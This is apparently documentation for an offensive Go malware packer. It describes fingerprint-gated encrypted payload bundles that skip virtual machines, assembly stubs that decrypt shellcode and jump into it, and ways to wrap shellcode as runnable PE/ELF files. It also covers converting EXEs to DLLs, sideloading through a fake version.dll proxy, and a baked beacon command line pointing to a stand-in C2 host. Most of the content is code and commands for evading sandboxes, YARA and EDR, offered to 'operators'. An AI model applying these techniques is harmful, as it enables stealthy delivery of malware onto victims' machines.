19041Windows 10 2004
19045Windows 10 22H2
22000Windows 11 21H2
22631Windows 11 23H2
26100Windows 11 24H2

Range is inclusive. 0 on either side means "unbounded that side":

  • BuildMin: 22000, BuildMax: 99999 → Windows 11+ only
  • BuildMin: 10240, BuildMax: 19999 → Windows 10 only
  • BuildMin: 0, BuildMax: 9999 → everything below Windows 10

Read only when PTWinBuild is set.

CPUIDFeatureMask / Value — fine-grained feature gating

Useful bits in CPUID[1].ECX:

BitFeature
0SSE3
9SSSE3
19SSE4.1
20SSE4.2
25AES-NI
28AVX
31Hypervisor present (1 = running in VM)

Operationally meaningful: bit 31 = anti-sandbox primitive. Setting Mask = 1 << 31, Value = 0 means "fire only on physical hosts".

Read only when PTCPUIDFeatures is set. Mask = 0 skips the check even if the bit is enabled in PredicateType.

Negate — invert the predicate

Flips the overall match outcome. Lets operators write "everything EXCEPT X" rules without enumerating X. As of v0.88.0 honoured by all three paths: Mode 4 launcher's host-side SelectPayload, the Go-runtime evaluator, AND the Mode 5 all-asm stub (V2-Negate on Linux, V2NW on Windows). CLI: append :negate to the -pl spec, e.g. -pl exclude-vm.exe:intel:0-99999:negate.

Runtime flow (what happens on the target)
[bundled binary boots on target]
  ↓
1. read CPUID EAX=0  → vendor 12 bytes
2. read CPUID EAX=1  → ECX features
3. read PEB.OSBuildNumber → Windows build
  ↓
4. for each FingerprintEntry in bundle:
       result = AND(active checks)
       if Negate: flip
       if match: break
  ↓
5a. match found → XOR-decrypt that payload (16-byte per-payload key) → JMP entry
5b. no match    → apply BundleFallbackBehaviour
        Exit  → ExitProcess(0) silent
        Crash → deliberate SIGSEGV (sandbox alert)
        First → payload 0 unconditionally (dev / test only)

Other payloads stay ciphertext on disk. Without their per-payload XOR keys, an analyst dumping the bundle sees noise at every non-active offset.

CipherType — per-payload cipher (v0.92+)

Why this matters. Every bundle entry's payload bytes get encrypted at pack-time and decrypted at runtime. Pre-v0.92 the cipher was a fixed 16-byte XOR with a rolling key — cheap (~17 bytes of asm) and survives YARA-on-plaintext, but it's not cryptography: anyone holding the bundle can recover plaintext from the on-disk key (which is precisely what cmd/packerscope extract demonstrates — the key field sits next to the ciphertext because the runtime stub needs it). The all-asm wrap is a delivery-time obfuscation, not a secrecy guarantee.

v0.92 added a second option — proper AES-128-CTR — that operators can pick per-payload. The wire field lives at PayloadEntry[12]; every runtime evaluator (host-side SelectPayload, Go-runtime launcher, AND the all-asm V2NW Windows stub) dispatches on it, which means a single bundle can mix XOR-rolling entries for the cheap fast-path and AES-CTR entries for the higher-stakes payload.

ValueConstantCipherStub costWhen
0 (zero)normalises to CipherTypeXORRolling for backward compatbundles packed before v0.92
1CipherTypeXORRollingXOR with a 16-byte rolling key (byte XORed against Key[i%16])~17 B decrypt loopsmall budget, AES-NI absent, plaintext already self-validating
2CipherTypeAESCTRAES-128-CTR, random IV per pack, 11 round keys shipped in-wire+281 B in V2NW (148 B AES-NI block decrypt + counter management + dispatch)proper crypto wanted; the host has AES-NI (every desktop x86-64 since ~2010)

Decision matrix:

You want…Use
Smallest stub possible (Linux Mode 5 baseline ~470 B)CipherTypeXORRolling
Stronger crypto (the AES key bytes don't trivially reveal the plaintext to an analyst dumping the bundle)CipherTypeAESCTR
Windows + a payload that's >a few hundred bytes (the +281 B stub overhead amortises)CipherTypeAESCTR
Mix of one decoy XOR payload + one real AES-CTR payload in the same bundleboth — set per-BundlePayload
Linux Mode 5 + AES-CTRnot yet — V2-Negate (Linux) stays XOR-rolling-only as of v0.92. Use Mode 4 (Go-runtime launcher) for AES-CTR on Linux.
Reproducible ciphertext across machines (XOR-rolling)CipherTypeXORRolling + operator-supplied BundlePayload.Key
AES-CTR but reproducible keys, accepting random IVCipherTypeAESCTR + BundlePayload.Key (round keys identical across packs; IV+ciphertext differ)

CipherType=2 wire layout (per entry):

[IV (16 B)] [AES-CTR ciphertext padded to 16-byte multiple] [11 × 16 B = 176 B round keys]
  • PayloadEntry.Key (16 B) = AES-128 key.
  • PayloadEntry.DataSize = 16 + padded_ciphertext_len + 176.
  • PayloadEntry.PlaintextSize = ORIGINAL plaintext length (not the padded one). UnpackBundle trims the decrypted output back to this.
  • Round keys are produced at pack-time via crypto.ExpandAESKey; the all-asm stub MOVDQUs them directly into XMM at runtime, saving the in-stub key-expansion step (~50 B of asm).
  • Pack-time auto-injects the AES-NI feature bit (0x02000000) into the entry's PT_CPUID_FEATURES mask + value via a strict OR (operator-supplied feature constraints survive). Pre-AES-NI hosts fail the predicate and skip the entry — no crash.

Constraints:

  • Mutually exclusive with BundleOptions.FixedKey (the test-determinism switch) — AES-CTR's random IV defeats fixed-key determinism. Returns ErrCipherTypeFixedKey.
  • The all-asm Linux V2-Negate stub does NOT dispatch on CipherType as of v0.92 — only V2NW (Windows) does. CipherType=2 + Linux Wrap path = host-side via cmd/bundle-launcher only.

Worked example — AES-CTR payload:

bundle, _ := packer.PackBinaryBundle([]packer.BundlePayload{{
    Binary:     shellcode,
    CipherType: packer.CipherTypeAESCTR,
    Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTMatchAll,
        // No need to set CPUIDFeatureMask/Value yourself —
        // pack-time auto-injects the AES bit. If you DO set them
        // for other constraints (e.g. SSE3 also required), the AES
        // bit is OR'd in alongside yours, never overwritten.
    },
    // Key: nil — pack-time generates a fresh random 16 B AES key.
}}, packer.BundleOptions{})

exe, _ := packer.WrapBundleAsExecutableWindows(bundle)
// Drop on any AES-NI Windows host → V2NW stub: scan loop →
// matched entry → CipherType dispatch → AES-CTR decrypt loop →
// JMP into plaintext.
BundleOptions — bundle-level knobs
type BundleOptions struct {
    FallbackBehaviour BundleFallbackBehaviour // Exit / Crash / First — see above
    FixedKey          []byte                  // tests only — reuses one XOR key across payloads
    Profile           BundleProfile           // per-build IOC overrides; see Kerckhoffs section
}

Profile carries the per-deployment magics derived from the operator's secret string via DeriveBundleProfile. Production callers MUST set a fresh secret per ship to keep YARA signatures from clustering across deployments.

Worked example — annotated
intel := packer.VendorIntel
amd   := packer.VendorAMD

bundle, _ := packer.PackBinaryBundle([]packer.BundlePayload{
    // [0] Windows 11 Intel — most specific, evaluated first.
    {Binary: w11Payload, Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
        VendorString:  intel,
        BuildMin: 22000, BuildMax: 99999,
    }},

    // [1] Windows 10 AMD only.
    {Binary: w10Payload, Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
        VendorString:  amd,
        BuildMin: 10240, BuildMax: 19999,
    }},

    // [2] Anti-sandbox — physical hosts only (hypervisor bit clear).
    {Binary: physOnlyPayload, Fingerprint: packer.FingerprintPredicate{
        PredicateType:     packer.PTCPUIDFeatures,
        CPUIDFeatureMask:  1 << 31,  // hypervisor bit
        CPUIDFeatureValue: 0,        // must be 0 = not in a VM
    }},

    // [3] Wildcard fallback — must come last (first-match wins).
    {Binary: genericPayload, Fingerprint: packer.FingerprintPredicate{
        PredicateType: packer.PTMatchAll,
    }},
}, packer.BundleOptions{
    FallbackBehaviour: packer.BundleFallbackExit,
    Profile:           packer.DeriveBundleProfile([]byte(secret)),
})

How it dispatches:

TargetResult
Win11 Intel desktop[0] fires
Win10 AMD desktop[1] fires
Win10 Intel desktop[0] / [1] fail vendor or build → [2] checks hypervisor bit; if physical → [2], else → [3]
Win11 inside a VM[0] passes vendor + build → [0] fires (the VM check is a per-payload opt-in, not bundle-wide)
Win7 Intel[0] / [1] fail build → [2] / [3] resolve as above
anything exotic[3] fires
CLI shorthand

The cmd/packer bundle subcommand exposes a compact spec syntax for common cases:

packer bundle -out app.bundle \
    -pl payload-w11.exe:intel:22000-99999 \
    -pl payload-w10.exe:amd:10240-19999 \
    -pl fallback.exe:*:*-* \
    -fallback exit

# Dry-run on the host — what would fire here?
packer bundle -match app.bundle

# Dump structure (defender-friendly)
packer bundle -inspect app.bundle

# Wrap into a runnable .exe via the launcher
packer bundle -wrap launcher.exe -bundle app.bundle -out final.exe

Vendor * and build * decode to wildcards (PTMatchAll if both, or the per-bit equivalent for partial wildcards).

Defensive lens (Kerckhoffs)

The wire format is public — what stays operator-private is:

  • The Profile magics (BundleMagic, FooterMagic, ImageBase, etc.) derived from a per-deployment secret string.
  • The 16-byte XOR keys baked per payload (random per pack).

Two ships of the same payload set with different secrets produce two binaries with no shared YARA-able structural bytes. An analyst with the binary but not the secret can identify it as a maldev bundle but cannot mechanically align signatures across deployments.

Mode 5 — PackBinaryBundle + all-asm wrap (tiny)

Why this mode exists. Mode 4 ships a working multi-target bundle in ~5 MB because it carries the Go runtime to evaluate the fingerprint predicate. For ops where size matters — a USB drop, an embedded payload inside a Word doc, a TFTP boot stage — that's not an option. Mode 5 replaces the Go runtime with a hand-rolled asm dispatcher that does the same thing in ~470 bytes on Linux or ~740 bytes on Windows: read CPUID, walk the FingerprintEntry table, decrypt the matched payload, JMP into it. Same wire format as Mode 4; the operator chooses the runtime at wrap-time.

Same bundle wire format as Mode 4, but the runtime is a Builder-emitted x86-64 stub wrapped in a minimal hand-written ELF / PE32+ (Brian Raiter shape on Linux: Ehdr + 1 PT_LOAD + stub + bundle blob). No Go runtime. The stub does CPUID dispatch, decrypts the matched payload in place (XOR-rolling or AES-CTR — operator's per-payload choice, v0.92+) and JMPs into the matched payload bytes directly.

bundle, _ := packer.PackBinaryBundle(payloads, packer.BundleOptions{Profile: profile})
out, err := packer.WrapBundleAsExecutableLinuxWith(bundle, profile)
os.WriteFile("app", out, 0o755)
PropertyValue
Total size~470 B Linux PTMatchAll, ~740 B Windows V2NW (XOR-rolling); ~2 KiB wrapped PE with one AES-CTR payload (V2NW + 281 B AES-NI dispatch + 176 B round keys)
StubBuilder-emitted x86-64 + Intel multi-byte NOP polymorphism (3 slots A/B/C, v0.90+)
Predicate evaluatorfull — PT_MATCH_ALL + PT_CPUID_VENDOR + PT_WIN_BUILD (Windows V2NW) + PT_CPUID_FEATURES + Negate (v0.88+)
Cipher dispatchper-payload CipherType: XOR-rolling default + AES-128-CTR via AES-NI on Windows V2NW (v0.92+; Linux V2-Negate XOR-rolling only)
Payload formatRaw shellcode only — stub JMPs into the bytes
Process tree1 binary (no fork, no execve)
Disk artefactnone

Avantages:

  • Smallest possible runnable bundle: a 2-payload Intel-vs-AMD dispatcher fits in ~550 bytes.
  • Per-pack polymorphism via Intel-recommended multi-byte NOPs spliced at a safe slot — two packs of the same bundle produce distinct byte sequences.
  • No Go runtime fingerprint.

Inconvénients:

  • Payload must be raw position-independent shellcode (the stub jumps directly into the decrypted bytes). PE/ELF payloads need Mode 4.
  • PT_WIN_BUILD only meaningful on Windows targets (V2NW reads PEB.OSBuildNumber); Linux V2-Negate stub treats the build-number predicate as a no-op (use PT_CPUID_VENDOR / PT_CPUID_FEATURES / PT_MATCH_ALL for cross-platform predicates).

Mode 6 — PackShellcode (raw shellcode → runnable PE/ELF)

Shipped v0.81.0. Bridges the operator gap "I have raw shellcode bytes (msfvenom, hand-rolled stage-1) and want a runnable .exe / .elf". PackBinary rejects non-PE / non-ELF inputs because it transforms existing sections in place — there is nothing to transform when the input is bare bytes. PackShellcode wraps the bytes in a minimal host first, then optionally runs that host through PackBinary for the SGN-style stub envelope.

// Plain wrap — runnable, shellcode at e_entry in cleartext.
exe, _, _ := packer.PackShellcode(sc, packer.PackShellcodeOptions{
    Format: packer.FormatLinuxELF,
})

// Encrypted wrap — SGN-style stub decrypts in place + JMPs to entry.
exe, key, _ := packer.PackShellcode(sc, packer.PackShellcodeOptions{
    Format:  packer.FormatLinuxELF,
    Encrypt: true,
})

CLI:

$ printf '\x48\xc7\xc0\xe7\x00\x00\x00\x48\xc7\xc7\x2a\x00\x00\x00\x0f\x05' > sc.bin

$ packer shellcode -in sc.bin -out plain.elf -format linux-elf
shellcode: 16 bytes → plain.elf (401 bytes, encrypt=false, format=linux-elf)
$ ./plain.elf; echo $?
42

$ packer shellcode -in sc.bin -out enc.elf -format linux-elf -encrypt
shellcode: 16 bytes → enc.elf (8192 bytes, encrypt=true, format=linux-elf)
2e93292902833d9ab1fb7316f9b9f5f835cfc6c2e15fc78ad1553d1b75bd8606
$ ./enc.elf; echo $?
42
PropertyPlain wrapEncrypted wrap
Outputminimal PE / ELFSGN-style packed PE / ELF
Size (16 B sc)~400 B~8 KiB
Shellcode at e_entry?yes, cleartextno — stub at e_entry
YARA the .text?sees plaintext shellcodesees ciphertext + stub
Per-pack polymorphismnoyes (rounds + seed)
Use whenshellcode is pre-encrypted upstream, OR stealth not the concernreal-world EDR-facing ship

Format-specific notes:

  • Linux: a section-aware minimal ELF writer (transform.BuildMinimalELF64WithSections) pre-reserves one phdr slot so InjectStubELF has the headroom it needs to append its stub PT_LOAD. The Brian-Raiter-style BuildMinimalELF64 (no SHT) cannot be fed to PackBinary — PlanELF rejects it with ErrNoTextSection.
  • Windows: transform.BuildMinimalPE32Plus already produces a PE with a real .text section header; the chain works out of the box.

Per-build IOC randomisation: pass ImageBase / Vaddr (-base 0xHEX on the CLI) to defeat YARA rules keyed on "tiny PE/ELF at standard load address". Canonical bases (0x140000000 PE, 0x400000 ELF) are the default; per-deployment values are derived from your secret via packer.DeriveBundleProfile.

Avantages: the only path that takes shellcode end-to-end. Same SGN-style stub envelope as PackBinary for Go binaries — operators get one mental model regardless of payload shape.

Inconvénients:

  • Shellcode must be position-independent (no relocations expected, no specific load address baked in). Standard for msfvenom output; hand-rolled stage-1 needs the same discipline.
  • Encrypted shellcode + Windows shellcode that ends in ret rely on ntdll's RtlUserThreadStart to call ExitProcess(rax) for a clean exit code. Shellcode that needs explicit ExitProcess (e.g. when exec ends mid-stream, not via ret) must walk the PEB itself — msfvenom's templates already do this; hand-rolled stage-1 needs the same discipline or it crashes silently with 0xc0000005.

DLL operations (Modes 7–10)

The four modes below all produce PE32+ DLLs instead of EXEs. They unlock the operator playbook of running payloads inside a host process via the Windows DLL load mechanism — sideloading, classic injection, LOLBAS chains (rundll32, regsvr32), search-order hijack, COM hijack. Each picks a different trade-off between operator simplicity, OPSEC cleanliness, and the input shape required.

Quick selector:

Operator goalModeOutput
Pack an existing native DLL — preserve its DllMain7 (FormatWindowsDLL)one DLL
Convert an EXE into a runnable DLL — payload spawns on attach8 (ConvertEXEtoDLL)one DLL
Sideload an EXE under a fake DLL name — two-file drop, OK if drop policy allows9 (PackChainedProxyDLL)two DLLs (proxy + payload)
Sideload an EXE under a fake DLL name — single-file drop, no LoadLibraryA IOC in the IAT10 (PackProxyDLL)one fused DLL

Modes 7–10 share the same Phase 2 randomisation surface as Mode 3 (RandomizeAll etc. — see Per-pack randomisation below) and the same DLL-input restrictions (transform.ErrTLSCallbacks rejects mingw default builds, transform.ErrIsDLL cross-checks input vs Format).

Mode 7 — FormatWindowsDLL (pack a native DLL)

You have a DLL with its own DllMain. You want to encrypt its .text and ship a packed copy that LoadLibrary'd cleanly runs the original DllMain. The payload semantic — what the DLL DOES — is preserved verbatim; only the on-disk bytes of the code section are obfuscated.

out, _, err := packer.PackBinary(input, packer.PackBinaryOptions{
    Format:       packer.FormatWindowsDLL,  // ← was FormatWindowsExe
    Stage1Rounds: 3,
    Seed:         0,
    AntiDebug:    true,
    RandomizeAll: true,  // composes — see Phase 2 opts below
})
PropertyValue
InputPE32+ DLL with IMAGE_FILE_DLL set + a non-empty .reloc table
OutputPE32+ DLL — LoadLibrary's natively
EncryptionSGN polymorphic encoder (per-round register-randomised)
StubDllMain prologue → decrypt-once flag check → SGN rounds → tail-jump to original DllMain
Process treeOne DLL hosted by whatever called LoadLibrary
Stub size~230 bytes (no compression)

Avantages:

  • Drop-in replacement for the original DLL.
  • Original DllMain is preserved — every reason code (PROCESS_ATTACH, THREAD_ATTACH, …) still gets the right user-defined behaviour.
  • Composes with RandomizeAll (8 Phase 2 randomisers).

Inconvénients:

  • Requires the input to carry a populated .reloc directory. Mingw ld for x64 PE refuses to emit .reloc even with --enable-reloc-section + --dynamicbase (toolchain limitation, documented in pe/packer/testdata/testlib.c). Build the DLL with MSVC (cl /LD foo.c /link /DYNAMICBASE) or use transform.BuildMinimalPE32Plus in tests.
  • The packed .text is RWX at runtime (loud EDR signal).
  • Compress is unsupported in Mode 7 today (stubgen.ErrCompressDLLUnsupported) — the LZ4 inflate block isn't yet threaded through the DllMain stub layout.

Validated end-to-end on Win10 VM since v0.128.0 (TestPackBinary_FormatWindowsDLL_LoadLibrary_E2E). The 1-line MEM_WRITE fix in v0.128.0 closed the slice 4.5 gap that had blocked real-loader validation since v0.111.0.

Mode 8 — ConvertEXEtoDLL (convert an EXE into a runnable DLL)

You have a Go EXE (or any -nostdlib Win32 EXE). You want the SAME PAYLOAD to run when something LoadLibrary's a DLL, so you can drop it into a sideload chain, inject it via CreateRemoteThread-equivalents, or call it via rundll32.

The packer takes your EXE, encrypts .text, appends a DllMain stub, and flips IMAGE_FILE_DLL. At runtime the DllMain decrypts .text, resolves kernel32!CreateThread via PEB walk (no IAT entry on CreateThread — invisible at import-table inspection time), and spawns a new thread on the original EXE's entry point. The DllMain returns TRUE immediately; the loader is unblocked while the payload runs in the spawned thread.

out, _, err := packer.PackBinary(exe, packer.PackBinaryOptions{
    Format:          packer.FormatWindowsExe,  // input is EXE
    ConvertEXEtoDLL: true,                     // ← convert at pack time
    Stage1Rounds:    3,
    Seed:            0,
    Compress:        true,                     // ✅ supported in Mode 8 (since v0.124.0)
    AntiDebug:       true,                     // ✅ supported in Mode 8 (since v0.122.0)
    RandomizeAll:    true,
})

With operator-controlled command-line (since v0.130.0):

// Bake a default argv into the converted DLL. The payload's
// GetCommandLineW / os.Args will return THESE bytes instead of
// the host process's cmdline (e.g. rundll32's).
out, _, err := packer.PackBinary(exe, packer.PackBinaryOptions{
    Format:                     packer.FormatWindowsExe,
    ConvertEXEtoDLL:            true,
    ConvertEXEtoDLLDefaultArgs: "agent.exe --beacon https://c2.example/cb --jitter 30",
    Stage1Rounds:               3,
    Seed:                       0,
})

How it works: the stub reads the existing PEB.ProcessParameters.CommandLine.Buffer pointer, then REP MOVSBs the operator-supplied wide string into that buffer in place, and rewrites Length / MaximumLength. In-place mutation is required because kernel32!GetCommandLineW caches its result on first call — pointer-swap alone would be invisible to anything that initialised cmdline early (Go runtime, MSVC CRT, .NET, …).

PropertyValue
InputPE32+ EXE (the same shapes Mode 3 accepts: Go static-PIE, mingw -nostdlib, …)
OutputPE32+ DLL with IMAGE_FILE_DLL set, encrypted .text, appended stub
StubDllMain prologue → decrypt-once flag check → SGN rounds → optional LZ4 inflate (Compress: true) → PEB-walk resolve CreateThreadCreateThread(NULL, 0, OEP, NULL, 0, NULL) → return TRUE
Process treeOne image hosted by the LoadLibrary'er; payload is a thread inside that process
Stub size~509 bytes (3 SGN rounds, no Compress) → ~700 bytes (with Compress) → +50 bytes if AntiDebug

Avantages:

  • The same Go EXE is now usable in BOTH Mode 3 (run as EXE) and Mode 8 (sideload as DLL) without rebuilding.
  • Composes with Compress (slice 5.7), AntiDebug (slice 5.6), and the full Phase 2 randomisation suite.
  • No LoadLibraryA IAT entry — the proxy DLL imports nothing it doesn't already need.
  • Validated on Win10 VM with the probe_converted.exe fixture (writes "OK\n" from the spawned thread inside the host process — see TestPackBinary_ConvertEXEtoDLL_LoadLibrary_E2E).

Inconvénients:

  • The payload runs in a NEW thread that's still alive when DllMain returns. If the host process tears down quickly the payload may not finish — Sleep(INFINITE) or proper thread synchronisation in your payload.
  • Without ConvertEXEtoDLLDefaultArgs the payload sees the HOST process's command line (rundll32 / sideload host) via GetCommandLineW / os.Args, not arguments scoped to the DLL. Set ConvertEXEtoDLLDefaultArgs (v0.130.0+) to bake an operator-controlled cmdline into the stub.
  • ConvertEXEtoDLLDefaultArgs is hard-capped at 1500 chars at pack time (PackBinary returns a clear error past that — see packer.maxConvertEXEtoDLLDefaultArgsRunes). The cap exists to keep the args buffer + stub asm under the 4 KiB (or 8 KiB with Compress: true) stub-section budget.
  • The asm-level patch is guarded at runtime: the stub reads the existing CommandLine.MaximumLength from PEB before the REP MOVSB and SKIPS the patch entirely if the loader's buffer is too small. Payload then safely inherits the host cmdline rather than overflowing the heap. Validated on Win10 with rundll32: a 1400-char DefaultArgs trips the guard (rundll32 cmdline buffer is ~hundreds of bytes, not 2.8 KiB) and the payload sees rundll32's cmdline — no crash.
  • The PEB-buffer rewrite is permanent for the host process — the host's own subsequent GetCommandLineW calls also return the new string. OPSEC trade-off when sideloading into a process that uses its own cmdline.
  • AntiDebug runs BEFORE the SGN/CreateThread path; positive detection (KVM tripping the RDTSC↔CPUID delta on most virtualised hosts) results in a SILENT no-op DLL load — loader sees BOOL TRUE, payload never runs. Bare-metal undebugged hosts fall through to the full pipeline.

Mode 9 — PackChainedProxyDLL (two-file sideloading bundle)

You want to drop a DLL named like a legitimate Windows DLL (e.g. version.dll) next to a host EXE that imports from it. The host loads the proxy, the proxy forwards every export back to the real version.dll, AND the proxy's DllMain LoadLibrary's a separate payload DLL that contains your encrypted EXE. Two files: proxy DLL + payload DLL.

This is the operator-friendly composition: you call ONE function, get TWO byte streams, drop both side-by-side.

proxy, payload, _, err := packer.PackChainedProxyDLL(exe,
    packer.ChainedProxyDLLOptions{
        TargetName:     "version",       // → version.dll mirror
        Exports:        []dllproxy.Export{
            {Name: "GetFileVersionInfoSizeW"},
            {Name: "GetFileVersionInfoW"},
            {Name: "VerQueryValueW"},
        },
        PayloadDLLName: "payload.dll",   // proxy will LoadLibraryA this
        PackOpts: packer.PackBinaryOptions{
            Format:       packer.FormatWindowsExe,
            Stage1Rounds: 3,
            Seed:         0,
        },
    })
// Write proxy as `version.dll` next to host EXE, payload as
// `payload.dll` in the same directory.
os.WriteFile("/dropdir/version.dll", proxy, 0o644)
os.WriteFile("/dropdir/payload.dll", payload, 0o644)
PropertyValue
OutputTWO DLLs: proxy (forwarder + LoadLibraryA stub) + payload (encrypted EXE-as-DLL)
Proxy size~3-5 KB (depends on export count + path scheme)
Payload sizeInput size + ~600 B SGN stub
ForwardersPerfect-DLL-proxy GLOBALROOT scheme by default — \\.\GLOBALROOT\SystemRoot\System32\version.<export>

Avantages:

  • Operator gets the two-file drop without wiring two emitters by hand.
  • The legit-target's exports are forwarded transparently — the host EXE's calls to GetFileVersionInfoSizeW etc. all succeed, returning the real version.dll's results.
  • Payload DLL is independently swappable (re-pack payload.dll with new opts, leave proxy.dll alone).

Inconvénients:

  • Two-file drop — needs the operator to place both files successfully. AppLocker / WDAC policies that whitelist a single DLL by hash will catch the second drop.
  • Proxy IAT carries kernel32!LoadLibraryA — a detectable IOC for kits that fingerprint proxy DLLs by their import set. Mode 10 (PackProxyDLL) ships the single-file fused variant that eliminates this.

Mode 10 — PackProxyDLL (single-file fused proxy, no LoadLibraryA IOC)

The OPSEC-cleaner sibling of Mode 9. ONE PE that:

  • Mirrors the legit target's exports (each forwarded via the perfect-dll-proxy absolute path).
  • Carries the encrypted EXE payload inside the same PE (no separate payload.dll to drop).
  • Has NO LoadLibraryA IAT entry — CreateThread is resolved at runtime via PEB walk, so the proxy doesn't even need kernel32 import.
fused, _, err := packer.PackProxyDLL(exe, packer.ProxyDLLOptions{
    TargetName: "version",
    Exports: []dllproxy.Export{
        {Name: "GetFileVersionInfoSizeW"},
        {Name: "GetFileVersionInfoW"},
        {Name: "VerQueryValueW"},
    },
    PackOpts: packer.PackBinaryOptions{
        Format:       packer.FormatWindowsExe,
        Stage1Rounds: 3,
        Seed:         0,
    },
})
// Single drop. Name it after the legit target.
os.WriteFile("/dropdir/version.dll", fused, 0o644)
PropertyValue
OutputONE PE32+ DLL — IMAGE_FILE_DLL set, EXPORT directory populated, encrypted EXE in .text
ImportsNone (CreateThread resolved via PEB walk)
SizeInput EXE + ~500 B SGN stub + ~200 B per export forwarder string
ForwardersPerfect-DLL-proxy GLOBALROOT scheme by default

Avantages:

  • Single-file drop — most restrictive AppLocker policies permit a one-file replacement when the path/name match.
  • Zero IAT entries — defeats import-table fingerprinting.
  • Inherits all Mode 8 strengths (Compress, AntiDebug, full Phase 2 randomisation).

Inconvénients:

  • The output is bigger than Mode 9's proxy (carries both the forwarders AND the encrypted payload).
  • The export forwarders are visible in the PE on disk — static analysis can see the version.dll mirror. Use a different TargetName for OPSEC variance, but it must still match a real DLL on the target host or the loader rejects the forwarders.
  • Implementation note: the fused emitter composes PackBinary{ConvertEXEtoDLL: true} + transform.AppendExportSection
    • dllproxy.BuildExportData. ~200 LOC orchestrator. Original plan (packer-exe-to-dll-plan.md slice 6 Path B) estimated ~450 LOC for a hand-rolled merged injector; composition saved ~250 LOC.

Strict end-to-end validation (since c9c0635, 2026-05-12): TestPackProxyDLL_Strict_E2E packs probe_converted.exe, drops as version.dll, then asserts both side effects on Win10 VM:

  1. GetProcAddress("GetFileVersionInfoSizeW") resolves to the real version.dll (loader follows the GLOBALROOT forwarder string).
  2. The packed EXE's main() runs in a spawned thread inside the host process — observable via the marker file C:\maldev-probe-marker.txt.

When to pick which DLL mode — decision tree

Is your input a DLL with its own DllMain you want to keep?
  YES → Mode 7 (FormatWindowsDLL) — preserve DllMain, encrypt .text
  NO  → input is an EXE
        ↓
        Do you need EXPORTS (sideload as a fake legit DLL)?
          NO  → Mode 8 (ConvertEXEtoDLL) — minimal DLL output
          YES → How strict is the drop policy?
                  Two files OK   → Mode 9 (PackChainedProxyDLL)
                  Single file    → Mode 10 (PackProxyDLL)  ← OPSEC-cleanest

Composability with pe/dllproxy and pe/masquerade

  • pe/dllproxy ships Export, PathScheme, BuildExportData — Mode 10 reuses all three. Operators can also call dllproxy.GenerateExt directly when they want a forwarder-only DLL with NO encrypted payload (pure sideloading, no implant).
  • pe/masquerade ships Resources (icon + manifest + version-info + cert) extraction/transplant via tc-hib/winres. The natural composition: extract resources from a legit DLL → pack EXE via Mode 10 → use winres.LoadFromEXE + ResourceSet.WriteToEXE to transplant the legit resources onto the fused proxy. The Phase 2-F-3-c-3 RESOURCE walker (v0.125.0) ensures these transplanted resources survive RandomizeAll.
  • pe/parse exposes Exports(path) — the natural input source for Mode 9 / Mode 10's Exports field. Extract from C:\Windows\System32\version.dll on a Win10 host → feed the result straight into PackProxyDLL.

Per-pack randomisation (Phase 2 opts)

The Mode 3 PackBinary example above shows a long list of Randomize* flags. Each one defeats a specific class of fingerprinting heuristic. None of them change the runtime behavior of the packed binary — only its on-disk shape or the VAs/headers a static analyst sees. They're all opt-in (default false) so the "vanilla pack" stays byte-reproducible, which several CI integrations rely on.

The shortcut RandomizeAll: true enables every opt that the Win10 VM E2E test confirms is safe across heterogeneous payloads. Two opts (RandomizeImageBase, RandomizeImageVAShift) are deliberately NOT in the fan-out — they're EXPERIMENTAL, gated on an unfinished walker suite, and can crash certain binaries. Operators can still set them per-payload.

What each opt defeats — at a glance

OptWhat changes in the fileWhat detection it defeatsPhaseTag
RandomizeStubSectionNameLast (stub) section name: .mldv.xkqwzYARA rules pinned to the literal .mldv byte sequence2-Av0.94.0
RandomizeTimestampCOFF TimeDateStamp fieldThreat-intel pivots clustering samples by linker timestamp ("all linked Tue 14:32 UTC")2-Bv0.95.0
RandomizeLinkerVersionOptional Header MajorLinker + MinorLinkerPivots like "all samples linked with VS2017 14.16"2-Cv0.96.0
RandomizeImageVersionOptional Header MajorImage + MinorImagePer-binary version-stamp clustering2-Dv0.97.0
RandomizeAllEvery opt above + every opt belowConvenience aggregator (excludes EXPERIMENTAL)2-Ev0.98.0
RandomizeExistingSectionNamesEvery host section name: .text/.rdata/.data → random .xxxxx"section called .text is RWX → suspicious" + YARA rules pinned to host section labels2-F-1v0.99.0
RandomizeJunkSectionsAppend [1, 5] uninitialised BSS sections after the stub"exact section count" heuristics + "stub is section[N-1]" patterns. File size unchanged (no file backing).2-F-2v0.100.0
RandomizePEFileOrderPermute the file-layout order of host section bodiesYARA rules anchored at file offsets ("bytes at file 0x400 = decryption key"). Runtime image byte-identical (only file offsets change).2-F-3-bv0.102.0
RandomizeImageBasePE32+ Optional Header ImageBase + reloc-fixed pointer valuesHeuristics on the canonical Go 0x140000000 preferred-base2-F-3-cv0.106.0 (in RandomizeAll since v0.106.0 — earlier intermittent crashes were caused by missing reloc value fixup, fixed empirically)
RandomizeImageVAShiftEvery section's VA + reloc-fixed pointer values + import-descriptor RVAsHeuristics on canonical VA layout (.text starts at 0x1000, OEP at 0x140001000)2-F-3-c-2v0.104.0 (in RandomizeAll since the IMPORT walker landed; covers Go static-PIE binaries)

Concrete before/after

Pack winhello.exe twice from the same input + seed: once vanilla, once with RandomizeAll. Then dump section tables with the diagnostic CLI:

$ go run ./cmd/packer-vis sections vanilla.exe
file: vanilla.exe (1676288 bytes)
NumberOfSections: 9
COFF.PointerToSymbolTable: 0x198200  NumberOfSymbols: 0

#    Name        VA          VirtSize    RawOff      RawSize     Characteristics
0    .text       0x00001000  0x000a3ab1  0x00000600  0x000a3c00  0xe0000020 [CODE RWX]
1    .rdata      0x000a5000  0x000dd008  0x000a4200  0x000dd200  0x40000040 [DATA R]
2    .data       0x00183000  0x00057a28  0x00181400  0x0000dc00  0xc0000040 [DATA RW]
3    .pdata      0x001db000  0x00004be4  0x0018f000  0x00004c00  0x40000040 [DATA R]
4    .xdata      0x001e0000  0x000000a8  0x00193c00  0x00000200  0x40000040 [DATA R]
5    .idata      0x001e1000  0x0000055a  0x00193e00  0x00000600  0xc0000040 [DATA RW]
6    .reloc      0x001e2000  0x00003d4c  0x00194400  0x00003e00  0x42000040 [DATA R]
7    .symtab     0x001e6000  0x00000004  0x00198200  0x00000200  0x42000000 [R]
8    .mldv       0x001e7000  0x00001000  0x00198400  0x00001000  0x60000020 [CODE RX]

$ go run ./cmd/packer-vis sections randomized.exe
